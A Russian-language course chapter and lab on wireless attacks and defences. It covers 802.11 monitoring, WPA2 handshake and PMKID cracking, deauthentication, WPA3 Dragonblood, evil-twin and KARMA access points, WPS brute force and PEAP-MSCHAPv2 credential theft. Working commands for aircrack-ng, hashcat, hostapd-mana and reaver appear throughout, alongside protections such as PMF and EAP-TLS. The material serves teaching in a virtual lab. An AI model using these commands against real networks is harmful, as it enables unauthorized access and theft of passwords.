Эфир: беспроводные сети и их протоколы

Провод можно спрятать в стене, порт — отключить, коммутатор — настроить ¹. Эфир спрятать нельзя: всё, что излучается, доступно любому в радиусе приёма. Беспроводная сеть начинается не с периметра, а с антенны, и первое, что нужно принять как факт, — наблюдатель может быть снаружи и не оставить в сети ни одного пакета.

Из этого следуют три класса задач. Первый — увидеть: какие сети есть, какие клиенты к ним подключены, как устроена аутентификация. Второй — получить ключ: перехватить рукопожатие и перебрать, украсть PMKID, дождаться уязвимости WPS. Третий — стать сетью: поднять точку доступа с тем же именем и забрать клиентов.

Тема 20 основной программы разбирала Wi-Fi как технологию: кадры, CSMA/CA, поколения, WPA2/WPA3, 802.1X. Здесь те же механизмы рассматриваются со стороны эфира. Границы: физический уровень — тема 03 основной программы, сотовые сети — только обзорно.

Тень базового курса: среда без коммутатора

В проводной сети коммутатор решает, кто что увидит. В беспроводной такой роли нет: кадры передаются в эфир, и любой адаптер в режиме мониторинга принимает всё, что попадает в его полосу.

Основная программа описывала это как особенность среды ⁷. Для атакующего это означает, что пассивный сбор не требует доступа и не оставляет следов: достаточно слушать. Единственный признак — физическое присутствие, которое сеть не видит.

Кадры 802.11 и режим мониторинга

Типы кадров и их роль

Стандарт делит кадры на три класса: управление (beacon, probe request/response, authentication, association, deauthentication), данные и служебные (ACK, RTS, CTS). Beacon рассылается точкой доступа и объявляет SSID, каналы, возможности; probe request ищет сети, probe response отвечает.

iw dev wlan0 info
iw dev wlan0 scan | grep -E "SSID|DS Parameter set|RSN"

В режиме мониторинга адаптер принимает все кадры в канале, включая чужие. Заголовок radiotap добавляет служебные поля: частоту, мощность сигнала, скорость, время.

ip link set wlan0 down
iw dev wlan0 set monitor control
ip link set wlan0 up
tshark -i wlan0 -f "wlan" -c 50

Каналы, диапазоны и перекрытие

Диапазон 2,4 ГГц имеет три неперекрывающихся канала (1, 6, 11); 5 ГГц — больше каналов и меньше помех; 6 ГГц добавлен в Wi-Fi 6E. Перекрытие каналов снижает скорость и облегчает пассивный сбор: адаптер слышит не только свой канал.

WPA2: рукопожатие и перебор

Четырёхшаговое рукопожатие

WPA2-PSK выводит Pairwise Master Key из пароля и SSID (PBKDF2, 4096 итераций, 256 бит), затем в четырёх сообщениях согласует сессионные ключи ². Первое сообщение содержит ANonce, второе — SNonce и MIC, третье — групповой ключ, четвёртое — подтверждение.

Перехватив все четыре кадра, можно офлайн проверить пароль: для каждого кандидата вывести PMK, вывести PTK и проверить MIC. Стоимость проверки — одна HMAC на кандидата, поэтому перебор ограничен словарём и мощностью GPU.

airmon-ng start wlan0
airodump-ng -c 6 --bssid 02:11:22:33:44:55 -w capture wlan0mon
aireplay-ng --deauth 5 -a 02:11:22:33:44:55 wlan0mon
aircrack-ng -w rockyou.txt capture-01.cap

--deauth вынуждает клиента переподключиться, и рукопожатие повторяется. Без деаутентификации ждать можно долго.

PMKID

PMKID — идентификатор, который точка доступа может включить в первое сообщение. Он вычисляется из PMK и MAC, поэтому позволяет проверять пароль без полного рукопожатия и без клиента.

hcxdumptool -i wlan0mon -o dump.pcapng --enable_status=1
hcxpcapngtool -o hash.hc22000 dump.pcapng
hashcat -m 22000 hash.hc22000 rockyou.txt

Формат 22000 объединяет разные типы хешей WPA; hashcat подбирает пароль по словарю и правилам.

Деаутентификация и её роль

Деаутентификация — кадр управления, который обрывает сессию клиента. В WPA2 он не защищён, поэтому поддельный кадр от имени точки доступа работает. Защита — 802.11w (PMF), который добавляет подпись к кадрам управления ³.

WPA3 и Dragonblood

SAE вместо PSK

WPA3 заменил четырёхшаговое рукопожатие на Simultaneous Authentication of Equals (SAE) — обмен на основе пароля с защитой от офлайн-перебора: каждая попытка требует взаимодействия с точкой доступа, что делает словарную атаку дорогой.

Dragonblood

Исследование 2019 года нашло в SAE несколько проблем: side-channel по времени и кэшу, допускающий восстановление пароля, и ошибки в реализации переходного режима WPA2/WPA3, позволяющие даунгрейд ⁶. Исправления вышли, но устройства с прошивками до них остаются в сети.

Переходный режим опасен тем, что клиенту разрешено подключаться и по WPA2, и по WPA3; атакующий поднимает WPA2-точку с тем же именем, и клиент выбирает её.

Что проверять

iw dev wlan0 scan | grep -A6 "RSN"

В блоке RSN видно, поддерживается ли SAE, PMF (MFPC, MFPR) и переходный режим. Отсутствие PMF при WPA3 — повод разбираться.

Точки доступа-двойники

Evil Twin и KARMA

Evil Twin — точка доступа с тем же SSID, что у легитимной, но с лучшим сигналом и без пароля или с поддельным порталом. Клиент подключается к ней автоматически, если имя знакомо.

KARMA — атака на клиентов, которые ищут сети: точка отвечает на любой probe request, выдавая себя за искомую сеть. Клиент, который помнит много сетей, подключается к первой, которая ответила.

hostapd-mana hostapd.conf

Конфигурация включает mana_wpaout для сохранения рукопожатий и enable_karma=1 для ответа на probe request. Захваченные рукопожатия затем перебираются офлайн.

Captive portal и фишинг

Поддельный портал просит «войти через корпоративную учётную запись» и собирает пароль. Технически это обычная веб-страница; защита — не вводить корпоративные данные в порталы, которые не принадлежат организации, и проверять сертификат.

Скрытый SSID и WPS

Скрытый SSID не рассылается в beacon, но виден в probe response и в кадрах ассоциации. airodump-ng показывает его как length: 0, а активный клиент выдаёт имя своим запросом.

WPS позволяет подключиться по PIN. Pixie Dust восстанавливает PIN из одного обмена за секунды на уязвимых реализациях; перебор PIN ограничен 11000 попытками, но многие точки не ограничивают скорость.

reaver -i wlan0mon -b 02:11:22:33:44:55 -vv
wash -i wlan0mon

Корпоративный Wi-Fi

802.1X, EAP-TLS и PEAP

В корпоративной сети аутентификация идёт через 802.1X: клиент (supplicant), точка доступа (authenticator) и RADIUS-сервер обмениваются EAP-сообщениями ⁴. EAP-TLS использует сертификаты с обеих сторон и считается устойчивым; PEAP инкапсулирует другой метод (часто MSCHAPv2) в TLS-туннель ⁵.

Кража MSCHAPv2

Если клиент не проверяет сертификат сервера, атакующий поднимает свою точку доступа с тем же SSID и представляется RADIUS-сервером. Клиент проходит внешний TLS-туннель, внутри которого отправляет MSCHAPv2-ответ; атакующий получает материал для офлайн-перебора пароля.

hostapd-mana hostapd-mana.conf
# затем перебор:
hashcat -m 5500 mschapv2.txt rockyou.txt

Защита — проверка сертификата сервера на клиенте (имя и цепочка) и отказ от PEAP-MSCHAPv2 там, где возможен EAP-TLS.

Числа: стоимость перебора

Стоимость проверки одного кандидата WPA2 — 4096 итераций PBKDF2-HMAC-SHA1 и одно вычисление MIC. На GPU класса high-end это порядка миллиона кандидатов в секунду; на CPU — тысячи.

8 символов, нижний регистр: 26^8 = 2,09e11
при 1e6 кандидатов/с: 2,09e11 / 1e6 = 2,09e5 с = 58 часов
10 символов: 26^10 = 1,41e14 -> 4,5 года

Отсюда практическое правило: длина пароля важнее сложности. Пароль из десяти случайных букв не перебирается словарём, а пароль из восьми со «сложными» символами часто оказывается в словаре.

PMKID стоит столько же, сколько полное рукопожатие: одна проверка MIC на кандидата. Его преимущество не в скорости, а в том, что не нужен клиент.

WPA3-SAE меняет модель: каждая попытка требует взаимодействия с точкой доступа, поэтому офлайн-перебор невозможен, а онлайн ограничен скоростью обмена. Это и есть основной выигрыш WPA3.

Обнаружение и защита

Итоги темы

Эфир не имеет периметра: наблюдение не оставляет следов, а деаутентификация не требует ключа. WPA2 защищает данные, но не рукопожатие от перехвата и не пароль от офлайн-перебора; WPA3 поднимает планку, но переходный режим и старые прошивки оставляют окна.

Корпоративный Wi-Fi держится на доверии клиента к сертификату сервера. Если клиент не проверяет сертификат, PEAP превращается в канал кражи учётных данных, а EAP-TLS остаётся единственным устойчивым вариантом.

Следующая тема уходит с провода и из эфира — в домен и облако, где доверие строится на протоколах идентичности.

Литература

1. IEEE Standard for Information Technology — Telecommunications and Information Exchange between Systems — Local and Metropolitan Area Networks. — IEEE 802.11-2020, 2021.
2. IEEE Standard for Information Technology — Telecommunications and Information Exchange between Systems — Local and Metropolitan Area Networks — Specific Requirements — Part 11: Wireless LAN Medium Access Control (MAC) and Physical Layer (PHY) Specifications — Amendment 6: Medium Access Control (MAC) Security Enhancements. — IEEE 802.11i-2004, 2004.
3. IEEE Standard for Information Technology — Wireless LAN Medium Access Control (MAC) and Physical Layer (PHY) Specifications — Amendment 4: Protected Management Frames. — IEEE 802.11w-2009, 2009.
4. Aboba B., Blunk L., Vollbrecht J., Carlson J., Levkowetz H. Extensible Authentication Protocol (EAP). — RFC 3748, IETF, 2004. https://www.rfc-editor.org/rfc/rfc3748
5. Simon D., Aboba B., Hurst R. The EAP-TLS Authentication Protocol. — RFC 5216, IETF, 2008. https://www.rfc-editor.org/rfc/rfc5216
6. Vanhoef M., Ronen E. Dragonblood: A Security Analysis of WPA3's SAE Handshake. — 2019. https://wpa3.mathyvanhoef.com/
7. Kurose J. F., Ross K. W. Computer Networking: A Top-Down Approach. 8th ed. — Pearson, 2021.

Дополнительные материалы

Вопросы для самопроверки

1. Почему беспроводная сеть не может опираться на изоляцию среды?
2. Какие кадры управления не защищены в WPA2 и что изменил 802.11w?
3. Из чего складывается стоимость офлайн-перебора WPA2?
4. Почему PMKID позволяет обойтись без клиента?
5. Что делает деаутентификация и зачем она атакующему?
6. Чем SAE отличается от PSK по устойчивости к перебору?
7. Почему переходный режим WPA2/WPA3 опасен на практике?
8. Как KARMA использует привычку клиента искать знакомые сети?
9. Почему captive portal удобен для фишинга?
10. Что проверяет клиент при PEAP и что должен проверять?
11. Почему WPS считается компромиссом, а не удобством?
12. Какие признаки указывают на поддельную точку доступа?

Глоссарий темы

BSSID — MAC-адрес точки доступа.

SSID — имя сети.

Beacon — кадр, которым точка объявляет себя.

Probe request — кадр поиска сети клиентом.

4-way handshake — четыре сообщения согласования ключей WPA2.

PMKID — идентификатор, позволяющий проверять пароль без полного рукопожатия.

SAE — Simultaneous Authentication of Equals, обмен WPA3.

PMF — Protected Management Frames, защита кадров управления.

Evil Twin — поддельная точка с именем легитимной.

KARMA — атака, отвечающая на любой probe request.

EAP-TLS — взаимная аутентификация по сертификатам.

MSCHAPv2 — метод аутентификации, чувствительный к перехвату.

Шпаргалка по инструментам

Что почитать и посмотреть

• IEEE 802.11-2020 — основной стандарт: типы кадров, сканирование, ассоциация.
• IEEE 802.11i-2004 — WPA2 и четырёхшаговое рукопожатие.
• IEEE 802.11w-2009 — защита кадров управления.
• RFC 3748 — EAP: методы и роли.
• RFC 5216 — EAP-TLS: взаимная аутентификация.
• Dragonblood — статья о проблемах WPA3; читается вместе с разделом о SAE.

Углубление

Пассивный сбор без адаптера. Записанный захват — полноценный учебный материал: в нём есть все кадры, кроме тех, что не попали в канал. Для анализа не нужен адаптер, нужен только разбор.

Виртуальный эфир. mac80211_hwsim создаёт несколько программных радиомодулей; они видят друг друга, но не реальный эфир. Это удобно для проверки конфигураций hostapd и PMF, но не для изучения реальных помех.

Wi-Fi 6E и 6 ГГц. Новый диапазон добавляет каналы, но не меняет модель доверия: те же кадры управления и те же рукопожатия. Защита по-прежнему строится на PMF, WPA3 и проверке сертификатов.

Физический слой. Мощность сигнала и расположение антенн влияют на то, кто кого слышит. Это не криптография, но в реальных сетях именно физика определяет, возможен ли пассивный сбор из конкретной точки.

Лабораторная работа 9. Эфир

• Раздел курса: апокриф 9 «Эфир: беспроводные сети и их протоколы»

Введение

Работа начинается с записанного захвата 802.11 и заканчивается поднятием собственной точки доступа. Такой порядок выбран потому, что эфир не всегда доступен: в виртуальной машине нет Wi-Fi-адаптера, а в учебной аудитории нельзя ставить точку доступа. Захват даёт точные кадры, виртуальный радиомодуль — воспроизводимую среду, а реальное оборудование остаётся опцией.

Все эксперименты проводятся на собственной тестовой сети и заранее заданном словаре. Пароли и ключи в работе заведомо поддельные.

Цель работы

После выполнения работы получится:

• разобрать захват 802.11 и найти beacon, probe, ассоциацию и рукопожатие;
• определить SSID, BSSID, канал и тип защиты по кадрам;
• перебрать рукопожатие по словарю и измерить скорость;
• показать роль деаутентификации и проверить защиту PMF;
• поднять точку доступа-двойника и перехватить подключение клиента;
• объяснить, почему скрытый SSID не является защитой;
• проверить конфигурацию корпоративного Wi-Fi на проверку сертификата;
• найти и исправить ошибку в скрипте разбора кадров.

Теоретический минимум

Разделы теории «Кадры 802.11 и режим мониторинга», «WPA2: рукопожатие и перебор», «Точки доступа-двойники», «Корпоративный Wi-Fi».

Перечень оснащения

Уровень воспроизводимости: 3 — хост с root и mac80211_hwsim; 0 — разбор записанного захвата.

Linux с iw, aircrack-ng, hcxdumptool, hostapd, dnsmasq, tshark, hashcat. Для виртуального эфира — модуль mac80211_hwsim (sudo modprobe mac80211_hwsim radios=4) и права root на хосте: загрузка модуля и перенос радиоустройств между пространствами имён требуют CAP_NET_ADMIN в начальном пространстве имён. Если модуль недоступен, используется приложенный захват wpa2-handshake.pcapng и анализ без генерации кадров. Реальный адаптер с поддержкой monitor mode — по возможности.

Порядок выполнения работы

Работа с виртуальным эфиром выполняется в основной сети хоста, а не в unshare -rnm: mac80211_hwsim создаёт интерфейсы в том пространстве имён, где загружен модуль, а modprobe требует прав в начальном пространстве имён. В пользовательском пространстве имён модуль не загрузится, а радиоустройства из начального пространства в новое не переносятся. Разбор готового захвата от этого не зависит и выполняется где угодно; генерация кадров — только на хосте или в отдельной виртуальной машине.

sudo modprobe mac80211_hwsim radios=4
ip link show | grep wlan

Часть 1. Разбор захвата

Задание

Открыть захват и перечислить сети:

tshark -r wpa2-handshake.pcapng -Y "wlan.fc.type_subtype == 0x08" \
  -T fields -e wlan.bssid -e wlan.ssid -e wlan.ds.current_channel | sort -u

Найти кадры ассоциации и рукопожатия:

tshark -r wpa2-handshake.pcapng -Y "wlan.fc.type_subtype == 0x00" \
  -T fields -e wlan.sa -e wlan.da -e wlan.bssid
tshark -r wpa2-handshake.pcapng -Y "eapol" \
  -T fields -e frame.number -e eapol.type -e wlan.sa -e wlan.da

Что должно получиться

Таблица «BSSID — SSID — канал — защита», список клиентов и четыре EAPOL-кадра. Объяснить, какие поля подтверждают, что рукопожатие полное.

Часть 2. Перебор рукопожатия

Задание

Извлечь хеш и перебрать по словарю из десяти кандидатов, один из которых настоящий:

aircrack-ng -w words.txt wpa2-handshake.pcapng
hcxpcapngtool -o hash.hc22000 wpa2-handshake.pcapng
hashcat -m 22000 hash.hc22000 words.txt --potfile-disable

Замерить время на один кандидат и оценить, сколько займёт словарь на миллион.

Что должно получиться

Пароль найден; время на кандидата измерено. Объяснить, почему WPA2-перебор ограничен словарём и как длина пароля влияет на оценку.

Часть 3. Виртуальный эфир и деаутентификация

Задание

Поднять точку доступа на wlan0 и клиента на wlan1:

cat > /tmp/hostapd.conf <<'EOF'
interface=wlan0
driver=nl80211
ssid=NSU-Lab
hw_mode=g
channel=6
wpa=2
wpa_passphrase=labpass123
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP
EOF
hostapd /tmp/hostapd.conf &

Подключить клиента, снять рукопожатие, затем отправить деаутентификацию:

aireplay-ng --deauth 3 -a $(cat /sys/class/net/wlan0/address) wlan1

Что должно получиться

Клиент переподключается, рукопожатие повторяется. Включить ieee80211w=2 в конфигурации и повторить: деаутентификация не проходит. Объяснить, что именно подписывает PMF.

Часть 4. Точка доступа-двойник

Задание

Поднять вторую точку с тем же SSID и без пароля, с DHCP и поддельным порталом:

cat > /tmp/evil.conf <<'EOF'
interface=wlan2
driver=nl80211
ssid=NSU-Lab
hw_mode=g
channel=6
auth_algs=1
wpa=0
EOF
hostapd /tmp/evil.conf &
dnsmasq --interface=wlan2 --dhcp-range=10.0.0.10,10.0.0.50,1h --no-daemon &

Подключить клиента и проверить, куда он попал:

iw dev wlan1 link
ip addr show wlan1

Что должно получиться

Клиент подключается к двойнику, получает адрес из чужого пула. Объяснить, почему клиент выбрал эту сеть и что меняет отключение автоподключения к открытым сетям.

Часть 5. Скрытый SSID и WPS

Задание

Включить ignore_broadcast_ssid=1 на точке, перезапустить и посмотреть, что видит сканер:

iw dev wlan3 scan | grep -B2 -A4 "SSID"

Найти скрытую сеть по probe response и по кадрам ассоциации клиента. Затем проверить WPS:

wash -i wlan3
reaver -i wlan3 -b <BSSID> -vv

Что должно получиться

Скрытый SSID виден в probe response и в ассоциации; WPS либо отвечает, либо отключён. Объяснить, почему скрытие SSID не является защитой и что даёт отключение WPS.

Часть 6. Корпоративный Wi-Fi

Задание

Разобрать конфигурацию клиента: проверяет ли он сертификат сервера. В Linux это настройка ca_cert в wpa_supplicant; без неё PEAP не проверяет сервер.

network={
    ssid="NSU-Corp"
    key_mgmt=WPA-EAP
    eap=PEAP
    identity="user"
    password="pass"
    phase2="auth=MSCHAPV2"
}

Объяснить, что произойдёт, если рядом появится точка с тем же SSID и поддельным RADIUS.

Что должно получиться

Вывод: без ca_cert клиент доверяет любому сертификату, и PEAP-обмен можно перехватить. Сформулировать, чем EAP-TLS отличается по устойчивости.

Часть 7. Найти и исправить ошибку

Задание

Скрипт должен считать число EAPOL-кадров в захвате, но всегда возвращает ноль:

from scapy.all import rdpcap, EAPOL
pkts = rdpcap("wpa2-handshake.pcapng")
print(sum(1 for p in pkts if EAPOL in p))

Найти причину: в захвате кадры 802.11 с EAPOL внутри, и EAPOL in p не срабатывает для вложенного уровня. Исправить через p.haslayer(EAPOL) и разбор Dot11.

Что должно получиться

Работающий скрипт, который печатает число EAPOL-кадров и список адресов; объяснение разницы между in и haslayer.

Журнал работы

Контрольные вопросы

1. Почему в беспроводной сети нет аналога коммутатора?
2. Какие кадры нужны для полного рукопожатия WPA2?
3. Почему перебор WPA2 возможен офлайн?
4. Что даёт PMKID и почему он упрощает атаку?
5. Как деаутентификация помогает перехвату?
6. Что изменил WPA3 в устойчивости к перебору?
7. В чём суть Dragonblood и почему переходный режим опасен?
8. Почему скрытый SSID не является защитой?
9. Как работает KARMA и что её останавливает?
10. Почему PEAP без проверки сертификата уязвим?
11. Чем EAP-TLS устойчивее PEAP-MSCHAPv2?
12. Какие признаки evil twin видны в эфире?

Уборка

pkill hostapd
pkill dnsmasq
pkill reaver
pkill tshark
rm -f /tmp/hostapd.conf /tmp/evil.conf
rmmod mac80211_hwsim